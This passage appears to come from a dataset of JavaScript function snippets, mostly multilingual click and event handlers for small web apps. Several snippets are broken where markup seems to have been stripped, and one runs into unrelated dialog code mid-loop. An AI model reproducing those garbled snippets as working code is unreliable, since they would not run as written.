e.target.classList.add('activo');\\r\\n } else {\\r\\n Swal.fire({\\r\\n icon: 'error',\\r\\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\\r\\n text: 'Error'\\r\\n });\\r\\n }\\r\\n }\\r\\n }\\r\\n}\",\n \"creanOnClick() {\\n\\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\\n\\n switch (currentAssignmentType) {\\n case AssignmentType.USERTOTASK:\\n console.error(\\\"Template.assignmentCalendar.events.click .creneau\\\", \\\"User can't normally click on this kind of element when in userToTask\\\");\\n return;\\n break;\\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\\n break;\\n }\\n }\",\n \"function verAcuerdoEspecialBonificaciones(id)\\n{\\nif(document.getElementById(\\\"divDatosAcuerdoEspecialBonificaciones\\\"+id).style.display==\\\"block\\\")\\n {\\n document.getElementById(\\\"divDatosAcuerdoEspecialBonificaciones\\\"+id).style.display=\\\"none\\\";\\n document.getElementById(\\\"buttonVerDatosAcuerdoEspecialBonificaciones\\\"+id).innerHTML=\\\"Ver\\\";\\n }\\nelse\\n {\\n var requerimiento = new RequerimientoGet();\\n requerimiento.setURL(\\\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\\\");\\n requerimiento.addParametro(\\\"id\\\",id);\\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\\n requerimiento.ejecutar();\\n }\\n\\n}\",\n \"elegirColor(ev){\\n console.log(ev);\\n //capturamos el color que presiona el usuario\\n const nombreColor = ev.target.dataset.color;\\n //convertimos a numero el color que selecciona el usuario\\n const numeroColor = this.transformarColorANumero(nombreColor);\\n //iluminamos el color que apreto el usuario\\n this.iluminarColor(nombreColor);\\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\\n if (numeroColor === this.secuencia[this.subnivel]) {\\n this.subnivel++;\\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\\n if (this.subnivel === this.nivel) {\\n this.nivel++;\\n //eliminamos los eventos click que ya ocurrieron\\n this.eliminarEventosClick();\\n if (this.nivel === (ULTIMO_NIVEL +1)) {\\n this.ganarJuego();\\n\\n } else {\\n setTimeout(this.siguienteNivel,1500);\\n }\\n } \\n } else {\\n //PIERDE\\n this.perderJuego();\\n }\\n \\n }\",\n \"function mostrarDevoluciones(){ // Cuando toque el boton \\\"devoluciones\\\" voy a ver la seccion (hacer devoluciones)\\r\\n limpiar(); //limpio campos de texto y mensajes al usuario\\r\\n document.querySelector(\\\"#homeDocente\\\").style.display = \\\"block\\\"; // habilito division docente\\r\\n document.querySelector(\\\"#bodyHome\\\").style.display = \\\"none\\\"; // oculto body bienvenida\\r\\n document.querySelector(\\\"#divAsignarNivel\\\").style.display = \\\"none\\\"; // oculto plantear ejercicios a alumnos\\r\\n document.querySelector(\\\"#divPlantearEje\\\").style.display = \\\"none\\\"; // oculto plantear tarea\\r\\n document.querySelector(\\\"#divEntregas\\\").style.display = \\\"none\\\"; // oculto tabla\\r\\n document.querySelector(\\\"#divDevoluciones\\\").style.display = \\\"block\\\"; // muestro redactar devoluciones a tareas\\r\\n document.querySelector(\\\"#divEstadisticas\\\").style.display = \\\"none\\\"; // oculto visualizar estadisticas\\r\\n}\",\n \"metodoClick(){\\n console.log(\\\"diste click\\\")\\n }\",\n \"function logNewsClickForUser(user_id, news_id, user_ip) {\\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\\n if (err) throw err;\\n });\\n }\",\n \"function fAppMeteo() {\\n $(\\\"#bokm\\\").click(fAffMeteo);\\n}\",\n \"function sitClick(sitID) {\\n \\n currentSituation = findSituationByID(sitID);\\n refreshRateIndicator();\\n refreshSituationButtons();\\n refreshSpiritQuotes();\\n refreshSpiritIcon();\\n refreshUnderstanding();\\n \\n}\",\n \"function _attivaIsola(){\\r\\n\\t\\t\\t$('.isola').each(function(){\\r\\n\\t\\t\\t\\tif($(this).is('[id^=\\\"isola'+isolaIndex+'\\\"]')){\\r\\n\\t\\t\\t\\t\\t$(this).addClass('attiva').removeClass('spenta');\\r\\n\\t\\t\\t\\t}else{\\r\\n\\t\\t\\t\\t\\t$(this).removeClass('attiva').addClass('spenta');\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t$('.testo-isola#t'+isolaIndex).addClass('presente');\\r\\n\\r\\n\\t\\t\\tclicking = true;\\r\\n\\t\\t}\",\n \"function mostrarEstDocente(){ // Cuando toque el boton \\\"estadisticas\\\" voy a ver la seccion (ver estadisticas)\\r\\n limpiar(); //limpio campos de texto y mensajes al usuario\\r\\n document.querySelector(\\\"#homeDocente\\\").style.display = \\\"block\\\"; //Habilito division docente\\r\\n document.querySelector(\\\"#bodyHome\\\").style.display = \\\"none\\\"; //Oculto body bienvenida\\r\\n document.querySelector(\\\"#divAsignarNivel\\\").style.display = \\\"none\\\"; // oculto plantear ejercicios a alumnos\\r\\n document.querySelector(\\\"#divPlantearEje\\\").style.display = \\\"none\\\"; // oculto plantear tarea\\r\\n document.querySelector(\\\"#divDevoluciones\\\").style.display = \\\"none\\\"; // oculto redactar devoluciones a tareas\\r\\n document.querySelector(\\\"#divEstadisticas\\\").style.display = \\\"block\\\"; // muestro visualizar estadisticas\\r\\n generarListaAlumnos();\\r\\n}\",\n \"function ActivarAyudaContextual(bDevolverExitoEjecucion)\\r\\n{\\r\\n\\tif (bARQAyudasContActivas)\\r\\n\\t\\tquitarIconoAyudasCont();\\r\\n\\telse\\r\\n\\t\\tponerIconoAyudasCont();\\t\\t\\r\\n}\",\n \"function triggerEvent(event, id) {\\n\\n event.addEventListener('click', function (e) {\\n if (event.id == \\\"fallevent\\\") {\\n document.getElementById(\\\"patient!@!local\\\").classList.add('rotate-fall');\\n }\\n if (event.id == \\\"normalevent\\\") {\\n document.getElementById(\\\"patient!@!local\\\").classList.remove('rotate-fall');\\n }\\n fetch(`/${event.id}?username=${id}`, {\\n method: 'POST'\\n }).then(function (response) {\\n response.json().then(function (json) {\\n\\n responseString = response.status + \\\" - \\\" + response.statusText;\\n if (response.ok)\\n return toastr[\\\"success\\\"](json.text, responseString);\\n\\n else if (response.status != 401)\\n return toastr[\\\"warning\\\"](json.text, responseString);\\n\\n else\\n throw new Error(responseString);\\n });\\n })\\n .catch(function (error) {\\n toastr.error(error, {\\n timeOut: 10000\\n });\\n });\\n });\\n}\",\n \"function theClick() {\\r\\n console.log('inicia')\\r\\n dataNodes()\\r\\n dataElements()\\r\\n backEnd()\\r\\n}\",\n \"function cargarEvento(){\\n\\t\\n\\tif(document.readyState==\\\"interactive\\\"){\\n\\t\\tdocument.getElementById(\\\"id_enviar\\\").addEventListener(\\\"click\\\",peticionAlta,false);\\n\\t}\\n}\",\n \"clickHandler(evt) {\\n if (evt.target.classList.contains('fa-check')) {\\n gameApp.eventHandler(evt);\\n }\\n\\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\\n gameApp.activateContract(evt);\\n }\\n\\n if (evt.target.classList.contains('loc')) {\\n gameApp.addLoc();\\n }\\n\\n if (evt.target.classList.contains('nav-button')) {\\n let elem = evt.target;\\n gameApp.gameView.changeMenue(elem);\\n }\\n }\",\n \"function iniciar(){ \\r\\n\\tvar botonBuscar = document.getElementById( \\\"botonBuscar\\\" ); \\r\\n\\tbotonBuscar.addEventListener( \\\"click\\\" , botonPresionado, false ); \\r\\n} // fin de la función iniciar \",\n \"function verReservasClick(opcion){\\r\\n let container;\\r\\n let container2;\\r\\n let almacenados;\\r\\n \\r\\n switch (opcion)\\r\\n {\\r\\n \\r\\n case \\\"crucero\\\": \\r\\n //// Cruceros \\r\\n container = document.querySelector('#crucerosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"pasajesCruceros\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\n Reservado por: ${objeto.reservadoPor}
\\r\\n Cantidad de personas: ${objeto.cantidad}
\\r\\n $ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"crucerosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n break;\\r\\n \\r\\n \\r\\n case \\\"aereo\\\":\\r\\n ///// Aereos\\r\\n container = document.querySelector('#aereosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"pasajesAereos\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\n Reservado por: ${objeto.reservadoPor}
\\r\\n Cantidad de personas: ${objeto.cantidad}
\\r\\n $ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"aereosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n break;\\r\\n \\r\\n case \\\"auto\\\": \\r\\n //// AUTOS\\r\\n \\r\\n container = document.querySelector('#autosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"autosReservados\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\n Reservado por: ${objeto.reservadoPor}
\\r\\n Cantidad de días: ${objeto.cantidad}
\\r\\n ${objeto.seguro}
\\r\\n $ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"autosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n \\r\\n break;\\r\\n \\r\\n default:\\r\\n break;\\r\\n }\\r\\n \\r\\n }\",\n \"function constroiEventos(){}\",\n \"function cambioDePagina(xhttp) {\\r\\n let paginaAnterior = document.getElementById(\\\"paginaAnterior\\\");\\r\\n\\r\\n let paginaSiguiente = document.getElementById(\\\"paginaSiguiente\\\");\\r\\n\\r\\n paginaAnterior.addEventListener(\\\"click\\\", function() {\\r\\n if (xhttp.info.prev) {\\r\\n traerPersonaje(xhttp.info.prev, insertarCartas);\\r\\n\\r\\n } else {\\r\\n alert(\\\"No hay paginas antes de esta\\\")\\r\\n }\\r\\n });\\r\\n paginaSiguiente.addEventListener(\\\"click\\\", function() {\\r\\n if (xhttp.info.next) {\\r\\n traerPersonaje(xhttp.info.next, insertarCartas);\\r\\n\\r\\n } else {\\r\\n alert(\\\"No hay paginas despues de esta\\\")\\r\\n }\\r\\n\\r\\n });\\r\\n}\",\n \"function onyeshaYaliyomo(kiungo, e, rangi, id) {\\n e.preventDefault();\\n let viungo, yaliyomo;\\n viungo = document.getElementsByClassName(\\\"kiungo\\\");\\n yaliyomo = document.getElementsByClassName(\\\"yaliyomo\\\");\\n\\n // ficha 'yaliyomo' zote kabla ya yote\\n for (let index = 0; index < yaliyomo.length; index++) {\\n const element = yaliyomo[index];\\n element.style.display = \\\"none\\\";\\n }\\n\\n // Ondoa darasa la 'hai' kwenye viungo vyote\\n for (let index = 0; index < viungo.length; index++) {\\n const kiungo = viungo[index];\\n kiungo.className = kiungo.className.replace(\\\" hai\\\", \\\"\\\");\\n kiungo.style.backgroundColor = \\\"transparent\\\";\\n }\\n\\n // Onyesha kiungo hai na Yaliyomo yake\\n kiungo.className += \\\" hai\\\";\\n kiungo.style.backgroundColor = rangi;\\n let yaliyomoHai = document.getElementById(id);\\n let seksheni = document.getElementById(\\\"tabu-kurasa-nzima\\\");\\n yaliyomoHai.style.display = \\\"block\\\";\\n // yaliyomoHai.style.backgroundColor = rangi;\\n seksheni.style.backgroundColor = rangi;\\n}\",\n \"function addEventsEntrega(){\\r\\n let btnsEntrega = document.querySelectorAll(\\\".entrega\\\"); \\r\\n for(let i=0; i vex.defaultOptions.className = 'vex-theme-wireframe'; vex.dialog.open({ message: \\\" + \\\"'Estás a punto de ELIMINAR esta Actividad Complementaria ¿Deseas Continuar?', input: \\\" + '\\\"\\\" + '\\\",' + 'buttons: [$.extend({}, vex.dialog.buttons.YES, {text: \\\"Continuar\\\"}), $.extend({}, vex.dialog.buttons.NO, {text: \\\"Cancelar\\\"})] }); ';\\r\\n console.log(cadena);\\r\\n $(\\\"#sub_contenido\\\").html(cadena);\\r\\n /*\\r\\n url = \\\"view/Administradores/itz_eliminar_actividad\\\";\\r\\n tipo_consulta = \\\"eliminar_actividad\\\";\\r\\n objParametros = {\\r\\n 'actividad' : actividad,\\r\\n 'tipo_consulta' : tipo_consulta\\r\\n };*/\\r\\n break;\\r\\n }//END CASE\\r\\n }//END SWITCH\\r\\n \\r\\n //Se pone un gif mientras se realizan las operaciones AJAX\\r\\n crear_loading_subcontenido();\\r\\n //$(\\\"#sub_contenido\\\").html(\\\"
Espere por favor... \\\");\\r\\n \\r\\n $.ajax({\\r\\n type: 'POST',\\r\\n url: url,//Obtenida de la que está a nivel de función\\r\\n data: objParametros,//Obtenida de la que está a nivel de función\\r\\n success: function(respuesta){//Respuesta es lo que pone PHP en pantalla, prácticamente es traer al PHP si la consulta fue successfuly\\r\\n $(\\\"#contenido\\\").html(respuesta);\\r\\n }//END SUCCESS\\r\\n });//END AJAX\\r\\n}//END FUNCTION\",\n \"function acceder(usuario){\\n console.log(`2. ${usuario} Ahora puedes acceder`)\\n entrar();\\n}\",\n \"function clickHandler(e) {\\n // cleanup the event handlers\\n yesbutton.removeEventListener('click', clickHandler);\\n nobutton.removeEventListener('click', clickHandler);\\n\\n // Hide the dialog\\n screen.classList.remove('visible');\\n\\n // Call the appropriate callback, if it is defined\\n if (e.target === yesbutton) {\\n if (yescallback)\\n yescallback();\\n }\\n else {\\n if (nocallback)\\n nocallback();\\n }\\n\\n // And if there are pending permission requests, trigger the next one\\n if (pending.length > 0) {\\n var request = pending.shift();\\n window.setTimeout(function() {\\n requestPermission(request.message,\\n request.yescallback,\\n request.nocallback);\\n }, 0);\\n }\\n }\",\n \"function gps_permitirConsulta() {\\n if (!consultando) {\\n gps_pausarAutoConsultaAuto();\\n gps_bloquearComponente(\\\"btn_consulta\\\", false);\\n } else {\\n gps_bloquearComponente(\\\"btn_consulta\\\", true);\\n }\\n}\",\n \"function clickBotonMeGusta(selectorDivMeGusta, listID, itemID) {\\n var meGusta = false;\\n var textoBotonLike = $(selectorDivMeGusta + \\\" .botonLike\\\").text();\\n if (textoBotonLike != \\\"\\\") {\\n if (textoBotonLike == \\\"Me gusta\\\") { meGusta = true; }\\n\\n SP.SOD.executeFunc(\\\"sp.js\\\", \\\"SP.ClientContext\\\", function () { \\n var aContextObject = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);\\n SP.SOD.executeFunc('reputation.js', 'Microsoft.Office.Server.ReputationModel.Reputation', function () {\\n Microsoft.Office.Server.ReputationModel.Reputation.setLike(aContextObject, listID.substring(1, 37), itemID, meGusta);\\n\\n aContextObject.executeQueryAsync(\\n function () {\\n obtenerCantidadMeGustaItem(selectorDivMeGusta, listID, itemID);\\n }, function (sender, args) {\\n });\\n });\\n });\\n }\\n}\",\n \"clickCheckOutGreenTea() {\\n this.clickElem(this.btnCheckOutGreenTea);\\n }\",\n \"function suivant(){\\n if(active==\\\"idee\\\"){\\n reunion_open();\\n }else if (active==\\\"reunion\\\") {\\n travail_open();\\n }else if (active==\\\"travail\\\") {\\n deploiement_open();\\n }\\n }\",\n \"function miniaturaClick(elemento) {\\n var miniatura = 0;\\n //esto determinara que parametro mandar a la funcion controles();\\n for (var i = 0; i < cantidadElementos; i++) {\\n if (elemento == posicionesMiniaturas[i]) {\\n miniatura = i;\\n }\\n }\\n //aqui se le pasa a controles(); el numero de veces que se moveran las imagenes asi como la dirección (derecha o izquierda)\\n var cantidad = 0;\\n if (elementoActivo < miniatura) {\\n for (var i = elementoActivo; elementoActivo < miniatura; i++) {\\n cantidad = cantidad + 1;\\n controles(\\\"derechaSlider\\\", cantidad, \\\"click\\\");\\n }\\n } else {\\n for (var i = elementoActivo; miniatura < elementoActivo ; i++) {\\n cantidad = cantidad + 1;\\n controles(\\\"izquierdaSlider\\\", cantidad, \\\"click\\\");\\n }\\n }\\n}\",\n \"function eventsAction() {\\n // Despliega la seccion de detalle de información del proyecto\\n $('.projectInformation')\\n .unbind('click')\\n .on('click', function () {\\n $('.invoice__section-finder').css({ top: '-100%' });\\n $('.projectfinder').removeClass('open');\\n\\n let rotate = $(this).attr('class').indexOf('rotate180');\\n if (rotate >= 0) {\\n $('.invoice__section-details').css({\\n top: '-100%',\\n bottom: '100%',\\n });\\n $(this).removeClass('rotate180');\\n } else {\\n $('.invoice__section-details').css({\\n top: '32px',\\n bottom: '0px',\\n });\\n $(this).addClass('rotate180');\\n }\\n });\\n\\n // Despliega la sección de seleccion de proyecto y cliente\\n $('.projectfinder')\\n .unbind('click')\\n .on('click', function () {\\n $('.invoice__section-details').css({\\n top: '-100%',\\n bottom: '100%',\\n });\\n $('.projectInformation').removeClass('rotate180');\\n\\n let open = $(this).attr('class').indexOf('open');\\n if (open >= 0) {\\n $('.invoice__section-finder').css({ top: '-100%' });\\n $(this).removeClass('open');\\n } else {\\n $('.invoice__section-finder').css({ top: '32px' });\\n $(this).addClass('open');\\n }\\n });\\n\\n // Despliega y contrae las columnas de viaje y prueba\\n $('.showColumns')\\n .unbind('click')\\n .on('click', function () {\\n let rotate = $(this).attr('class').indexOf('rotate180');\\n viewStatus = rotate >= 0 ? 'E' : 'C';\\n expandCollapseSection();\\n });\\n\\n // Despliega y contrae el menu de opciones de secciones\\n $('.invoice_controlPanel .addSection')\\n .unbind('click')\\n .on('click', function () {\\n $('.menu-sections').slideDown('slow');\\n $('.menu-sections').on('mouseleave', function () {\\n $(this).slideUp('slow');\\n sectionShowHide();\\n });\\n });\\n\\n // muestra en la cotización la seccion seleccionada\\n $('.menu-sections ul li')\\n .unbind('click')\\n .on('click', function () {\\n let item = $(this).attr('data-option');\\n glbSec = $(this).attr('data-option');\\n $(this).hide();\\n\\n $(`#SC${item}`).show();\\n });\\n\\n // Despliega y contrae el listado de projectos\\n $('.invoice_controlPanel .toImport')\\n .unbind('click')\\n .on('click', function () {\\n let pos = $(this).offset();\\n $('.import-sections')\\n .slideDown('slow')\\n .css({ top: '30px', left: pos.left + 'px' })\\n .on('mouseleave', function () {\\n $(this).slideUp('slow');\\n });\\n\\n fillProjectsAttached();\\n });\\n\\n // Despliega la lista de productos para agregar a la cotización\\n $('.invoice__box-table .invoice_button')\\n .unbind('click')\\n .on('click', function () {\\n let item = $(this).parents('tbody').attr('id');\\n glbSec = item.substring(3,2); // jjr\\n showListProducts(item);\\n });\\n \\n // Elimina la sección de la cotización\\n $('.removeSection')\\n .unbind('click')\\n .on('click', function () {\\n let id = $(this);\\n let section = id.parents('tbody');\\n section.hide().find('tr.budgetRow').remove();\\n sectionShowHide();\\n });\\n\\n // Guarda version actual\\n $('.version__button .toSaveBudget')\\n .unbind('click')\\n .on('click', function () {\\n let boton = $(this).html();\\n let nRows = $(\\n '.invoice__box-table table tbody tr.budgetRow'\\n ).length;\\n if (nRows > 0) {\\n let pjtId = $('.version_current').attr('data-project');\\n glbpjtid=pjtId;\\n let verId = $('.version_current').attr('data-version');\\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\\n\\n if (verId != undefined){\\n modalLoading('S');\\n let par = `\\n [{\\n \\\"pjtId\\\" : \\\"${pjtId}\\\",\\n \\\"verId\\\" : \\\"${verId}\\\",\\n \\\"discount\\\" : \\\"${discount}\\\",\\n \\\"action\\\" : \\\"${interfase}\\\"\\n }]`;\\n console.log('SaveBudget',par);\\n var pagina = 'ProjectPlans/SaveBudget';\\n var tipo = 'html';\\n var selector = putsaveBudget;\\n fillField(pagina, par, tipo, selector);\\n } else{\\n alert('No tienes una version creada, ' + \\n 'debes crear en el modulo de cotizaciones');\\n }\\n }\\n });\\n\\n // Guarda nueva version del presupuesto\\n $('.version__button .toSaveBudgetAs')\\n .unbind('click')\\n .on('click', function () {\\n let boton = $(this).html();\\n let nRows = $(\\n '.invoice__box-table table tbody tr.budgetRow'\\n ).length;\\n if (nRows > 0) {\\n let pjtId = $('.version_current').attr('data-project');\\n glbpjtid=pjtId;\\n // let verCurr = $('.sidebar__versions .version__list ul li:first').attr('data-code');\\n let verCurr = lastVersionFinder();\\n let vr = parseInt(verCurr.substring(1, 10));\\n\\n let verNext = 'R' + refil(vr + 1, 4);\\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\\n let lastmov = moment().format(\\\"YYYY-MM-DD HH:mm:ss\\\"); //agregado por jjr\\n //console.log('FECHA- ', lastmov);\\n if (vr != undefined){ //agregado por jjr\\n modalLoading('S');\\n let par = `\\n [{\\n \\\"pjtId\\\" : \\\"${pjtId}\\\",\\n \\\"verCode\\\" : \\\"${verNext}\\\",\\n \\\"discount\\\" : \\\"${discount}\\\",\\n \\\"lastmov\\\" : \\\"${lastmov}\\\"\\n }]`;\\n\\n var pagina = 'ProjectPlans/SaveBudgetAs';\\n var tipo = 'html';\\n var selector = putSaveBudgetAs;\\n fillField(pagina, par, tipo, selector);\\n } else{\\n alert('No tienes una version creada, ' + \\n 'debes crear en el modulo de cotizaciones');\\n }\\n }\\n });\\n\\n // Edita los datos del proyecto\\n $('#btnEditProject')\\n .unbind('click')\\n .on('click', function () {\\n let pjtId = $('.projectInformation').attr('data-project');\\n editProject(pjtId);\\n });\\n\\n // Agrega nueva cotización\\n $('.toSave')\\n .unbind('click')\\n .on('click', function () {\\n let pjtId = $('.version_current').attr('data-project');\\n let verId = $('.version_current').attr('data-version');\\n promoteProject(pjtId, verId);\\n });\\n // Imprime la cotización en pantalla\\n $('.toPrint')\\n .unbind('click')\\n .on('click', function () {\\n let verId = $('.version_current').attr('data-version');\\n printBudget(verId);\\n });\\n\\n // Busca los elementos que coincidan con lo escrito el input de cliente y poyecto\\n $('.inputSearch')\\n .unbind('keyup')\\n .on('keyup', function () {\\n let id = $(this);\\n let obj = id.parents('.finder__box').attr('id');\\n let txt = id.val().toUpperCase();\\n sel_items(txt, obj);\\n });\\n\\n $('.cleanInput')\\n .unbind('click')\\n .on('click', function () {\\n let id = $(this).parents('.finder__box').children('.invoiceInput');\\n id.val('');\\n id.trigger('keyup');\\n });\\n\\n // Limpiar la pantalla\\n $('#newQuote')\\n .unbind('click')\\n .on('click', function () {\\n window.location = 'ProjectDetails';\\n });\\n\\n // Abre el modal de comentarios\\n $('.sidebar__comments .toComment')\\n .unbind('click')\\n .on('click', function () {\\n showModalComments();\\n });\\n\\n expandCollapseSection();\\n}\",\n \"function ClickAbrir() {\\n var nome = ValorSelecionado(Dom('select-personagens'));\\n if (nome == '--') {\\n Mensagem('Nome \\\"--\\\" não é válido.');\\n return;\\n }\\n var eh_local = false;\\n if (nome.indexOf('local_') == 0) {\\n eh_local = true;\\n nome = nome.substr(6);\\n } else {\\n nome = nome.substr(5);\\n }\\n var handler = {\\n nome: nome,\\n f: function(dado) {\\n if (nome in dado) {\\n gEntradas = JSON.parse(dado[nome]);\\n CorrigePericias();\\n AtualizaGeralSemLerEntradas();\\n SelecionaValor('--', Dom('select-personagens'));\\n Mensagem(Traduz('Personagem') + ' \\\"' + nome + '\\\" ' + Traduz('carregado com sucesso.'));\\n } else {\\n Mensagem(Traduz('Não encontrei personagem com nome') + ' \\\"' + nome + '\\\"');\\n }\\n DesabilitaOverlay();\\n },\\n };\\n HabilitaOverlay();\\n AbreDoArmazem(nome, eh_local, handler.f);\\n}\",\n \"function iniciar(){\\n\\t\\n\\tvar btnOkAlerta = document.getElementById(\\\"okalerta\\\");\\n\\tvar btnWarning = document.getElementById(\\\"okwarning\\\");\\n\\tvar btnSucess = document.getElementById(\\\"oksucess\\\");\\n\\n\\tbtnOkAlerta.addEventListener(\\\"click\\\", function(e){\\n\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\tbtnWarning.addEventListener(\\\"click\\\", function(e){\\n\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\tbtnSucess.addEventListener(\\\"click\\\", function(e){\\n\\t\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\n\\tvar btnEnviar = document.getElementById(\\\"enviar\\\");\\n\\tbtnEnviar.addEventListener(\\\"click\\\", procesarRecarga, false);\\n}\",\n \"function voltarEtapa3() {\\n msgTratamentoEtapa4.innerHTML = \\\"\\\";\\n //recebendo H3 e setando nela o texto com o nome do cliente\\n var tituloDaEtapa = document.querySelector(\\\"#tituloDaEtapa\\\");\\n tituloDaEtapa.textContent = \\\"3º Etapa - Colaborador\\\";\\n\\n document.getElementById('selecionarPacotes').style.display = 'none'; //desabilita a etapa 4\\n document.getElementById('selecionarFuncionarios').style.display = ''; //habilita a etapa 3\\n }\",\n \"function iniciar(){\\n\\t\\t\\tdocument.getElementById(\\\"enviar\\\").addEventListener('click',validar,false);\\n\\t\\t}\",\n \"function habilitarEntradas(){\\n //evento del movimiento del mouse\\n document.addEventListener('mousemove',function(evt){\\n raton.x=evt.pageX-canvas.offsetLeft - 6;\\n raton.y=evt.pageY-canvas.offsetTop - 28;\\n },false);\\n\\n //evento del click del mouse\\n document.addEventListener('mouseup', function(evt){\\n ultimaliberacion=evt.which;\\n },false);\\n //evento del soltar el click del mouse \\n canvas.addEventListener('mousedown',function(evt){\\n evt.preventDefault();\\n ultinaPresion=evt.which;\\n },false);\\n}\",\n \"function checkJawabanUntukuser(e){\\n\\t//hapus tombol cek berhasilan\\n\\tcekKeberhasilan.classList.add('d-none');\\n\\t//tampilkan tombol loading\\n\\tbtn_loading.classList.add('d-block');\\n\\t//menunggu 3 detik\\n\\tsetTimeout(function(){\\n\\t//tarik kembali jendela browser\\n\\twindow.scrollTo(0,0);\\n\\t//cek jawaban ketika ada jawaban yang di pilih salah \\n\\tselainPilihanbenar.forEach(function(jawabanSoalketikaSalah){\\n\\t//jika jawaban ada yang salah tampilkan info kesalahan\\n\\tif(jawabanSoalketikaSalah.checked){\\n\\t//berikan info dan pengertian jawaban pada user\\n\\tinfo_jawaban.forEach(function(tampilkanInfo){\\n\\ttampilkanInfo.classList.add('d-block');\\n\\t});\\n\\t//berikan info kesalahan kepada user\\n\\tinfo_salah.classList.add('d-block');\\n\\t\\t}\\n});\\n\\t\\t\\n\\t//cek jawaban ketika benar\\n\\tjawaban.forEach(function(jawabanSoal){\\n\\t//jika jawaban benar semua tampilkan info\\n\\tif(jawabanSoal.checked){\\n\\t//berikan info dan pengertian jawaban pada user\\n\\tinfo_jawaban.forEach(function(tampilkanInfo){\\n\\ttampilkanInfo.classList.add('d-block');\\n\\t});\\n\\t//berikan info benar kepada user\\n\\tinfo_benar.classList.add('d-block');\\n\\t//jika selain ada jawaban yang salah\\n\\t }else if(jawabanSoal.checked || jawabanSoal.checked == false){\\n\\t //hapus info benar kepada user dan berikan kesalahan jawaban salah\\n\\tinfo_benar.classList.remove('d-block');\\n\\t }\\t\\n\\t });\\n\\t//hilangkan tombol loading\\n\\tbtn_loading.classList.remove('d-block');\\n\\t}, 3000);\\n}\",\n \"function ClickGerarResumo() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var input = Dom(\\\"resumo-personagem-2\\\");\\n input.value = GeraResumo();\\n input.focus();\\n input.select();\\n}\",\n \"function template_eventosFavoritos() {\\n\\t$(\\\".btnBotones.estrella\\\").unbind();\\n\\t$(\\\".btnBotones.estrella\\\").each(function(){\\n\\t\\tvar elemento = $(this);\\n\\t\\t\\n\\t\\t$(this).on({\\n\\t\\t\\tclick: function() {\\n\\t\\t\\t\\tvar tempUrl = \\\"\\\";\\n\\t\\t\\t\\tvar datos;\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (typeof elemento.attr(\\\"data-inmueble\\\") !== 'undefined') {\\n\\t\\t\\t\\t\\ttempUrl = \\\"lib_php/updFavoritoInmueble.php\\\";\\n\\t\\t\\t\\t\\tdatos = {\\n\\t\\t\\t\\t\\t\\tid: elemento.attr(\\\"data-id\\\"),\\n\\t\\t\\t\\t\\t\\tinmueble: elemento.attr(\\\"data-inmueble\\\")\\n\\t\\t\\t\\t\\t};\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\ttempUrl = \\\"lib_php/updFavoritoDesarrollo.php\\\";\\n\\t\\t\\t\\t\\tdatos = {\\n\\t\\t\\t\\t\\t\\tid: elemento.attr(\\\"data-id\\\"),\\n\\t\\t\\t\\t\\t\\tdesarrollo: elemento.attr(\\\"data-desarrollo\\\")\\n\\t\\t\\t\\t\\t};\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t$.ajax({\\n\\t\\t\\t\\t\\turl: tempUrl,\\n\\t\\t\\t\\t\\ttype: \\\"POST\\\",\\n\\t\\t\\t\\t\\tdataType: \\\"json\\\",\\n\\t\\t\\t\\t\\tdata: datos\\n\\t\\t\\t\\t}).always(function(respuesta_json){\\n\\t\\t\\t\\t\\tif (respuesta_json.isExito == 1) {\\n\\t\\t\\t\\t\\t\\tif (parseInt(respuesta_json.id) == 